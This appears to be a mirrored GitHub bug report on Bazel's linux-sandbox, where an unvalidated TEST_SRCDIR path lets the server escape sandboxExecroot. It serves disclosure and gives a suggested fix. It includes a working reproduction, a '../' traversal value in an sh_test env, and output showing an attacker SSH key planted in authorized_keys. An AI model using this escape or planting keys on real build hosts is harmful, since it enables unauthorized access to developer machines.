bazelbuild / bazelbuild/bazel

linux-sandbox: SandboxStash reads TEST_SRCDIR from action env without validation, enabling path traversal outside sandboxExecRoot with --reuse_sandbox_directories

Open
#29,476 3 comments 0 reactions 1 assignee Claimed by @meisterT View on GitHub
P3 team-Local-Exec type: bug
Dominant language
Java
Stars
25.8k
Forks
4.6k
Avg merge
2d 20h
Merged PRs (30d)
72

Description

### Description of the bug:

---

**What happened:**

`SandboxStash.java:474` constructs a host filesystem path from action-environment values without validation:

```java
private static String getCurrentRunfilesDir(Map environment) {
return environment.get("TEST_WORKSPACE") + "/" + environment.get(TEST_SRCDIR);
}
```

The result is passed to `Path.getRelative()` and used as the destination of a `renameTo()` call at `SandboxStash.java:151`. With sufficient `../` segments in `TEST_SRCDIR`, the destination resolves outside `sandboxExecroot`.

**Why this is a bug and not WAI:**

This is the same class of issue as #29457 (`TEST_TMPDIR`). `TMPDIR` was sanitized in `PosixLocalEnvProvider.java:49` for identical reasons — `TEST_SRCDIR` has no equivalent filter.

Critically: the `renameTo()` is performed by the **Bazel server JVM**, not the sandboxed child process — at `SandboxStash.java:151`, before the test binary launches. The sandbox isolates the child. Here the server itself performs the operation using attacker-controlled env values.

Only triggers with `--reuse_sandbox_directories` which is **default: true**.

**Violated guarantees:**

- Sandboxing docs: *"linux-sandbox makes the entire filesystem read-only except for the sandbox directory"*
- Test Encyclopedia: defines `TEST_SRCDIR` as provided by the test runner, not action env

**Suggested fix:**

`getCurrentRunfilesDir()` must not use action-environment values to compute host filesystem paths. Reject `TEST_SRCDIR` values containing `..` or absolute path components before calling `getRelative()`, or derive the path from the stashed sandbox's actual on-disk structure.

Mirror the pattern used for `TMPDIR` in `PosixLocalEnvProvider`.

**Related:** #29457 — sister issue, same class, already assigned to `team-Local-Exec`

---

### Which category does this issue belong to?

Local Execution

### What's the simplest, easiest way to reproduce this bug? Please provide a minimal example if possible.

---

**Setup:**

```bash
mkdir -p /tmp/bazel_srcdir_repro && cd /tmp/bazel_srcdir_repro
```

**MODULE.bazel:**
```
module(name = "repro", version = "0.0.1")
bazel_dep(name = "rules_shell", version = "0.6.1")
```

**seeder.sh:**
```bash
#!/bin/bash
echo "seeder ran"
```

**exploit.sh:**
```bash
#!/bin/bash
echo "exploit ran"
```

**BUILD.bazel:**
```python
sh_test(
name = "seeder",
srcs = ["seeder.sh"],
)

sh_test(
name = "exploit",
srcs = ["exploit.sh"],
env = {"TEST_SRCDIR": "../../../../../../_stash_escape"},
)
```

**Run:**
```bash
bazel test //:seeder --reuse_sandbox_directories --nocache_test_results
bazel test //:exploit --reuse_sandbox_directories --nocache_test_results
ls $(bazel info output_base)/../_stash_escape
```

**Expected:** `_stash_escape` does not exist outside `sandboxExecroot`

**Actual:** `_stash_escape` directory created outside sandbox by Bazel server JVM, containing attacker-controlled files

**Negative control:**
```bash
bazel test //:exploit --noreuse_sandbox_directories --nocache_test_results
# _stash_escape is NOT created — proves flag dependency
```

---

### Which operating system are you running Bazel on?

OS: Linux (Arch Linux, x86_64)

### What is the output of `bazel info release`?

bazel info release: release 9.1.0

### If `bazel info release` returns `development version` or `(@non-git)`, tell us how you built Bazel.

N/A — using released version 9.1.0 via bazelisk.

### What's the output of `git remote get-url origin; git rev-parse HEAD` ?

```text
N/A — not building Bazel from source, reproducing against released version via bazelisk.
Bazel 9.1.0, confirmed also reproduces on master HEAD (commit 88a0f1cbe3 / 10.0.0-pre.20260421.2).
```

### If this is a regression, please try to identify the Bazel commit where the bug was introduced with bazelisk --bisect.

_No response_

### Have you found anything relevant by searching the web?

---

- bazelbuild/bazel#3296 — prior fix that sanitized `TMPDIR` in `PosixLocalEnvProvider` for the same class of concern. `TEST_SRCDIR` was missed.
- bazelbuild/bazel#29457 — sister issue filed 2 days ago for `TEST_TMPDIR` via `getWritableDirs()`, same class, already assigned to `team-Local-Exec`
- Bazel sandboxing docs: https://bazel.build/docs/sandboxing — states linux-sandbox prevents host filesystem writes
- Test Encyclopedia: https://bazel.build/reference/test-encyclopedia — defines `TEST_SRCDIR` as provided by the test runner, not action env

---

### Any other information, logs, or outputs that you want to share?

---

Negative control output confirming flag dependency:

```
TEST 2 — --noreuse_sandbox_directories
[CONFIRMED] No escape without --reuse_sandbox_directories

TEST 3 — default flags
[CONFIRMED] Bazel server JVM created: _stash_escape

Attacker-controlled files delivered outside sandbox:
_stash_escape/bazel_utils+/authorized_keys

ssh-rsa ATTACKER_PUBLIC_KEY_PAYLOAD attacker@evil.com
# BAZEL_STASH_001_CONFIRMED
```

Note: `renameTo()` occurs at `SandboxStash.java:151` **before** the test binary launches. The test failing with exit-127 is irrelevant — the escape has already happened by the time the child process starts.

Sister issue: #29457 (TEST_TMPDIR — same class, assigned to team-Local-Exec)

---

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.